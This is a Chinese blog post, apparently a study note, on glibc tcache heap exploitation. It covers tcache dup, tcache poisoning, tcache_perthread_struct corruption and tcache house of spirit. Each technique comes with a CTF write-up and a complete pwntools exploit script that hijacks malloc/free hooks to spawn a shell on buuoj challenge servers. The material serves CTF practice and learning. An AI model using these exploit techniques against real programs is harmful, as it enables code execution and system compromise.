zoukankan      html  css  js  c++  java
  • Tcache Attack学习记录

    What's Tcache?

    tcache全称thread local caching,是glibc2.26后新加入的一种缓存机制(在Ubuntu 18及之后的版本中应用),提升了不少性能,但是与此同时也大大牺牲了安全性,在ctf-wiki中介绍tcache的标题便是tcache makes heap exploitation easy again,与fastbin非常相似但优先级高于fastbin,且相对于fastbin来说少了很多检查,所以更加便于进行漏洞利用。

    对于增加源代码的具体分析可以参考这篇文章: https://nightrainy.github.io/2019/07/11/tcache%E6%9C%BA%E5%88%B6%E5%88%A9%E7%94%A8%E5%AD%A6%E4%B9%A0/

    这里只做简单的要点罗列:

    1. tcache机制的主体是tcache_perthread_struct结构体,其中包含单链表tcache_entry
    2. 单链表tcache_entry,也即tcache Bin的默认最大数量是64,在64位程序中申请的最小chunk size为32,之后以16字节依次递增,所以size大小范围是0x20-0x410,也就是说我们必须要malloc size≤0x408的chunk
    3. 每一个单链表tcache Bin中默认允许存放的chunk块最大数量是7
    4. 在申请chunk块时,如果tcache Bin中有符合要求的chunk,则直接返回;如果在fastbin中有符合要求的chunk,则先将对应fastbin中其他chunk加入相应的tcache Bin中,直到达到tcache Bin的数量上限,然后返回符合符合要求的chunk;如果在smallbin中有符合要求的chunk,则与fastbin相似,先将双链表中的其他剩余chunk加入到tcache中,再进行返回
    5. 在释放chunk块时,如果chunk size符合tcache Bin要求且相应的tcache Bin没有装满,则直接加入相应的tcache Bin
    6. 与fastbin相似,在tcache Bin中的chunk不会进行合并,因为它们的pre_inuse位会置成1

    结合Tcache机制的常见漏洞利用方式

    tcache dup

    与fastbin dup相似,但是正如上文中所说,它比fastbin dup更好利用,漏洞利用原因在于向tcache Bin中插入chunk的函数tcache_put()几乎没有检查:

    /* Caller must ensure that we know tc_idx is valid and there's room
       for more chunks.  */
    static __always_inline void
    tcache_put (mchunkptr chunk, size_t tc_idx)
    {
      tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
      assert (tc_idx < TCACHE_MAX_BINS);
      e->next = tcache->entries[tc_idx];
      tcache->entries[tc_idx] = e;
      ++(tcache->counts[tc_idx]);
    }
    

    所以我们甚至无需在double free时插入一个无关chunk以绕过检查,可以直接对一个chunk进行多次释放操作,下面根据一道非常简单的例题进行进一步的说明:

    例题:buuoj -- [BJDCTF 2nd]ydsneedgirlfriend2

    WP:

    使用exeinfo查看程序,可以看到是在ubuntu 18的环境下进行编译的:

    因此,需要考虑tcache机制的影响。

    分析程序,可以发现主要有:add()dele()show()三个功能,同时有一个非常友好的后门函数,执行即可直接getshell。分析add()函数,可以发现限制了添加的数量最大为8次,没有限制申请name的chunk块的大小,看起来没有堆溢出点,具体的结构如下:

    分析dele()函数,发现有明显的UAF漏洞可以利用;分析show()函数,发现代码执行了上图结构中的打印函数。因此,我们的思路是利用tcache dup连续释放两次相同的chunk,结合UAF漏洞,构造多指针指向同一chunk,随后即可将打印函数覆盖成后门函数并执行:

    add(0x20,'aaaa')#0
    delete(0)
    delete(0)
    

    随后下断点调试可以看到存放大小0x20chunk的tcache Bin中放入了两个相同的chunk块:

    随后我们申请size为0x10大小的name chunk,即可将这两个chunk依次取出,利用UAF覆盖打印函数为后门函数,执行show()函数即执行了后门函数,可以getshell,exp如下:

    from pwn import *
    #from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    
    local=1
    binary_name='ydsneedgirlfriend2'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',26544)
        e=ELF("./"+binary_name)
        libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    
    def add(lenth,name):
        ru("u choice :
    ")
        sl('1')
        ru('Please input the length of her name:
    ')
        sl(str(lenth))
        ru("Please tell me her name:
    ")
        sl(name)
    def delete(idx):
        ru("u choice :
    ")
        sl('2')
        ru("Index :")
        sl(str(idx))
    def show(idx):
        ru("u choice :
    ")
        sl('3')
        ru("Index :")
        sl(str(idx))
    
    z('b *0x400A32
    b *0x400AFF
    b *0x400C5D
    b *0x400C7D
    b *0x400D6E
    ')
    add(0x20,'aaaa')#0
    delete(0)
    delete(0)
    add(0x10,p64(0x400D86)*2)#1
    #show(0)
    p.interactive()
    

    tcache poisoning

    同样,由于tcache_put函数在把chunk放入tcache Bin时没有做过多检查,我们可以在释放一个chunk将其放入tcache后,直接修改其fd指针为任意地址处,比fastbin attack更易利用的是我们无需构造fake_fastbin_size以绕过检查,便可直接将任意地址处插入到tcache Bin中。因此,常与其他漏洞利用方式,例如:off by one等结合,用来在最后劫持程序流到one_gadget程序段或system等函数处。下面通过详细分析一道例题进行进一步说明:

    例题:buuoj -- hitcon_2018_children_tcache

    WP:

    根据题目我们也几乎可以确定题目需要考虑tcache机制的影响,分析程序,可以看到主要有new()delete()show()三个功能。进一步分析new()函数,发现限制了添加数量最大值为10,在读入Data的时候将换行符替换成了字符串结束符'x00',为直接泄露地址增加了困难,可以发现明显的漏洞在于:

    使用了strcpy()函数拷贝字符串,会多添加一个字符串结束符'x00';分析delete()函数,正常无UAF漏洞,但是需要注意:

    程序在释放chunk后会进行垃圾数据0xda的填充,为我们泄露地址进一步增加困难;同时,程序存在show()函数可以利用以泄露地址。因此,我们的思路是主要利用off by null这一漏洞,构造内存结构,具体细节如下:

    第一步,首先我们的目标应该是泄露libc地址,由于本题对申请chunk的size限制并不严格,因此我们考虑利用unsortedbin中的Bin头chunk的fd和bk指向main_arena这一特点泄露,由于有上文提到的x00截断问题,我们考虑构造堆块重叠,利用已分配堆块的show()功能打印地址,因此我们先构造内存结构,利用off by null将后一chunk的pre_inuse位置0,实现在释放时触发unlink,与前面的chunk合并:

    1 new(0x410,'a'*0x410)#0
    2 new(0x28,'a')#1
    3 new(0x4f0,'a')#2
    4 #-->防止chunk2释放时与top chunk合并
    5 new(0x10,'/bin/sh')#3
    6 delete(1)
    7 delete(0)
    8 #-->消除0xda垃圾数据填充的影响,正确覆盖pre_size
    9 for i in range (0,9):
    10     new(0x28-i,'a'*(0x28-i))#0
    11     delete(0)
    12 new(0x28,'a'*0x20+p64(0x450))#0
    13 #-->触发unlink
    14 delete(2)
    

    当i为0时,执行第10行后可以看到user_data size为0x4f0的chunk的size位由0x501修改成了0x500,可以认为前一chunk块已释放:

    为了避免0xda数据影响覆盖pre_size,循环一个一个字节利用strcpy()漏洞进行清除,随后正确覆盖pre_size为0x450:

    随后,delete(2)即可触发unlink机制,与前面0x450大小的chunk合并,中间0x20的chunk变成功堆块重叠的一部分:

    随后,由于从unsortedbin中割出一块chunk后剩余部分的chunk的fd和bk仍然指向main_arena,利用重叠的chunk泄露地址(此处注意在glibc 2.26下,unsortedbin的fd已经不再指向<main_arena+88>处,而是<main_arena+96>):

    new(0x410,'a')#1
    show(0)
    leak_addr=leak_address()
    print hex(leak_addr)
    libc_base=leak_addr-96-libc.sym['__malloc_hook']-0x10
    

    最后,终于可以利用tcache poisoning劫持程序流了,此时申请大小为0x20的chunk 2与chunk 0指向同一地址,由于缺少edit函数,我们结合tcache dup连续释放chunk两次,再次申请内存即可修改tcache中剩余chunk的fd指针为free_hook,实现申请任意地址chunk,写入one_gadget,即可getshell:

    new(0x28,'a')#2-->0
    delete(2)
    delete(0)
    new(0x20,p64(libc_base+libc.sym['__free_hook']))#0
    new(0x20,'a')
    one_gadget=libc_base+0x4f322
    new(0x20,p64(one_gadget))
    delete(3)
    

    完整的exp如下:

    from pwn import *
    #from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    
    local=1
    binary_name='HITCON_2018_children_tcache'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',25879)
        e=ELF("./"+binary_name)
        libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    
    def new(size,data):
        sla("Your choice: ",'1')
        sla("Size:",str(size))
        sla("Data:",data)
    
    def show(idx):
        sla("Your choice: ",'2')
        sla("Index:",str(idx))
    
    def delete(idx):
        sla("Your choice: ",'3')
        sla("Index:",str(idx))
    
    z('b *0x555555554D6B
    b *0x555555554DCA
    b *0x555555554F7E
    ')
    new(0x410,'a'*0x410)#0
    new(0x28,'a')#1
    new(0x4f0,'a')#2
    new(0x10,'/bin/sh')#3
    #-->
    delete(1)
    delete(0)
    for i in range (0,9):
        new(0x28-i,'a'*(0x28-i))#0
        delete(0)
    new(0x28,'a'*0x20+p64(0x450))#0
    delete(2)
    new(0x410,'a')#1
    show(0)
    leak_addr=leak_address()
    print hex(leak_addr)
    libc_base=leak_addr-96-libc.sym['__malloc_hook']-0x10
    new(0x28,'a')#2-->0
    delete(2)
    delete(0)
    new(0x20,p64(libc_base+libc.sym['__free_hook']))#0
    new(0x20,'a')
    one_gadget=libc_base+0x4f322
    new(0x20,p64(one_gadget))
    delete(3)
    p.interactive()
    '''
    0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
    constraints:
      rsp & 0xf == 0
      rcx == NULL
    
    0x4f322 execve("/bin/sh", rsp+0x40, environ)
    constraints:
      [rsp+0x40] == NULL
    
    0x10a38c execve("/bin/sh", rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL
    '''
    

    tcache perthread corruption

    在堆题中,我们常见的一种泄露地址的方法是泄露unsortedbin中chunk的fdbk,而在严格限制chunk大小的堆题中,如果有tcache机制的影响,我们必须需要先将tcache Bin填满,才能把chunk放入unsortedbin中,再进行地址泄露。于是,有些堆题会对mallocfree操作的次数设定限制,这时我们可以考虑伪造tcache机制的主体tcache_perthread_struct结构体。在源代码中对其定义如下:

    /* We overlay this structure on the user-data portion of a chunk when
       the chunk is stored in the per-thread cache.  */
    typedef struct tcache_entry
    {
      struct tcache_entry *next;        
    } tcache_entry;
    
    /* There is one of these for each thread, which contains the
       per-thread cache (hence "tcache_perthread_struct").  Keeping
       overall size low is mildly important.  Note that COUNTS and ENTRIES
       are redundant (we could have just counted the linked list each
       time), this is for performance reasons.  */
    typedef struct tcache_perthread_struct
    {
      char counts[TCACHE_MAX_BINS];     //数组counts用于存放每个bins中的chunk数量
      tcache_entry *entries[TCACHE_MAX_BINS];   //数组entries用于放置64个bins
    } tcache_perthread_struct;
    
    static __thread tcache_perthread_struct *tcache = NULL;
    

    可以看到tcache_perthread_struct结构体首先是类型为char(一个字节)的counts数组,用于存放64个bins中的chunk数量,随后依次是对应size大小0x20-0x410的64个entries(8个字节),用于存放64个bins的Bin头地址,我写了如下非常简单的测试程序来具体看一看这个结构体:

    #include <stdlib.h>
    
    int main()
    {
        void *ptr1,*ptr2,*ptr3;
        ptr1=malloc(0x10);
        ptr2=malloc(0x80);
        ptr3=malloc(0x20);
        free(ptr2);
        free(ptr1);
        free(ptr1);
        free(ptr1);
        free(ptr1);
        free(ptr1);
        free(ptr1);
        free(ptr1);
        free(ptr1);
        return 0;
    }
    
    

    结合调试:

    了解了这个结构体后,我们就可以具体利用了,下面结合一道例题进行进一步说明:

    例题:buuoj -- [V&N2020 公开赛]easyTHeap

    WP:

    首先依然是glibc2.26下的环境,分析程序,主要有add() edit() show() delete()四个功能,可以看到,限制了最多进行7次添加操作,3次删除操作。分析add()函数,看到对申请chunk的size进行了一定限制;分析edit()函数,发现通过size数组限制了写入字节数;分析show()函数,实现正常的显示功能,可利用来泄露地址;分析delete()函数,存在UAF漏洞,但是会将size数组清零,这意味着在delete堆块后便无法任意修改。所以我们的思路是,通过tcache dup泄露堆地址,随后通过tcache poisoning,将chunk申请到堆基址,也即存放tcache_perthread_struct的地址,实现对结构体的伪造,即可实现把chunk放入unsortedbin以泄露地址,同时可以通过构造entries的内容,再次申请堆块到任意地址,进一步实现getshell;

    第一步,通过tcache dup泄露堆地址,这里需要多分配一个chunk,以防止chunk 0释放后与top chunk的合并,由于连续两次释放chunk,chunk中的fd指针指向自身地址,可泄露堆基址:

    add(0x80)#0
    add(0x10)#1 -->
    delete(0)
    delete(0)
    show(0)
    leak_addr=leak_address()
    print hex(leak_addr)
    heap_base=leak_addr-0x250-0x10
    log.info("heap_addr:"+hex(heap_base))
    
    

    第二步,tcache poisoning 申请chunk到heap_base:

    add(0x80)#2->0
    #修改chunk0的fd
    edit(2,p64(heap_base+0x10))
    add(0x80)#3->0
    add(0x80)#4->heap_+0x10
    
    

    第三步,伪造tcache_perthread_struct结构体中的counts数组,这里我将其全部修改为上限7,随后再次释放大小为0x80的chunk即可放入unsortedbin并泄露地址了:

    pd='x07'*64
    edit(4,pd)
    delete(0)
    show(0)
    leak_addr=leak_address()
    print hex(leak_addr)
    libc_base=leak_addr-96-0x10-libc.sym['__malloc_hook']
    
    

    第四步,通过修改结构体中entries数组的第一个内容,即size=0x20的chunk的tcache Bin头,再次申请0x10的chunk可以申请到指定地址的chunk,实现任意地址写:

    但是这里受次数限制我们不能写入free_hook,checksec查看可以看到Full RELRO保护开启,无法写入函数的got表,malloc函数的参数又是我们自己写入的,无法写入'/bin/sh'字符串,所以我们只能向malloc_hook中写入one_gadget地址,但是这里将可用的one_gadget全部尝试后发现均不满足条件,于是我们必须利用realloc——hook,通过libc中realloc函数前一系列的抬栈操作来满足one_gadget可以使用的条件:

    同时realloc_hookmalloc_hook地址是连续的:

    因此我们劫持程序流至realloc_hook地址处,可以同时向两个hook地址中任意写,我们只需向realloc_hook中写入one_gadget,向malloc_hook中写入realloc地址加上适当的偏移(抬栈时push操作的次数不同,我们一般加上8即可),就可以在再次malloc时先去realloc函数处执行,抬栈后满足one_gadget的要求,再去执行realloc_hook中存放的one_gadget,进行getshell:

    malloc_hook=libc_base+libc.sym['__malloc_hook']
    realloc=libc_base+libc.sym['__libc_realloc']
    one_gadget=0x10a38c+libc_base
    edit(4,'x07'*64+p64(malloc_hook-8))
    add(0x10)#5
    edit(5,p64(one_gadget)+p64(realloc+8))
    add(0x10)#6
    
    

    完整的exp如下:

    from pwn import *
    #from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    
    local=0
    binary_name='./vn_pwn_easyTHeap'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',27084)
        e=ELF("./"+binary_name)
        libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    
    def add(size):
        sla("choice: ",'1')
        sla("size?",str(size))
    def edit(idx,content):
        sla("choice: ",'2')
        sla("idx?",str(idx))
        sla("content:",content)
    def show(idx):
        sla("choice: ",'3')
        sla("idx?",str(idx))
    def delete(idx):
        sla("choice: ",'4')
        sla("idx?",str(idx))
    
    z('b *0x555555554B6F
    b *0x555555554C90
    b *0x555555554D18
    b *0x555555554DA0
    ')
    add(0x80)#0
    add(0x10)#1 -->
    delete(0)
    delete(0)
    show(0)
    leak_addr=leak_address()
    print hex(leak_addr)
    heap_base=leak_addr-0x250-0x10
    log.info("heap_addr:"+hex(heap_base))
    add(0x80)#2->0
    edit(2,p64(heap_base+0x10))
    add(0x80)#3->0
    add(0x80)#4->heap_+0x10
    pd='x07'*64
    edit(4,pd)
    delete(0)
    show(0)
    leak_addr=leak_address()
    print hex(leak_addr)
    libc_base=leak_addr-96-0x10-libc.sym['__malloc_hook']
    malloc_hook=libc_base+libc.sym['__malloc_hook']
    realloc=libc_base+libc.sym['__libc_realloc']
    one_gadget=0x10a38c+libc_base
    edit(4,'x07'*64+p64(malloc_hook-8))
    add(0x10)#5
    edit(5,p64(one_gadget)+p64(realloc+8))
    add(0x10)#6
    p.interactive()
    '''
    0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
    constraints:
      rsp & 0xf == 0
      rcx == NULL
    
    0x4f322 execve("/bin/sh", rsp+0x40, environ)
    constraints:
      [rsp+0x40] == NULL
    
    0x10a38c execve("/bin/sh", rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL
    '''
    
    

    tcache house of spirit

    与house of spirit的利用方式几乎相同(详见House of Spirit),但是由于tcache_put函数几乎没有检查,因此构造fake tcache chunk内存时需要绕过的检查更加宽松,具体如下:

    1. fake chunk的size在tcache的范围中(64位程序中是32字节到410字节),且其ISMMAP位不为1
    2. fake chunk的地址对齐

    这里不需要构造next chunk的size,也不需要考虑double free的情况,因为free堆块到tcache中的时候不会进行这些检查

  • 相关阅读:
    [模板]大数加法
    HDU 1848 Fibonacci again and again
    同时安装了Python2和Python3时的pip使用
    UPC-2785 One-Way Roads(最大流建图)
    UPC-2784 Model Railroad(最小生成树)
    【ICPC 2017 Daejeon】UPC-9312 Game Map(dfs)
    【ICPC 2015 Shenyang】UVALive
    【ICPC 2015 Shenyang 】UPC-9254 MEETING(最短路&虚点建图)
    UPC-9264 Chip Factory(01字典树)
    【ICPC 2018 Malaysia】UPC-9302 ELI'S CURIOUS MIND(递推)
  • 原文地址:https://www.cnblogs.com/Theffth-blog/p/12790720.html
Copyright © 2011-2022 走看看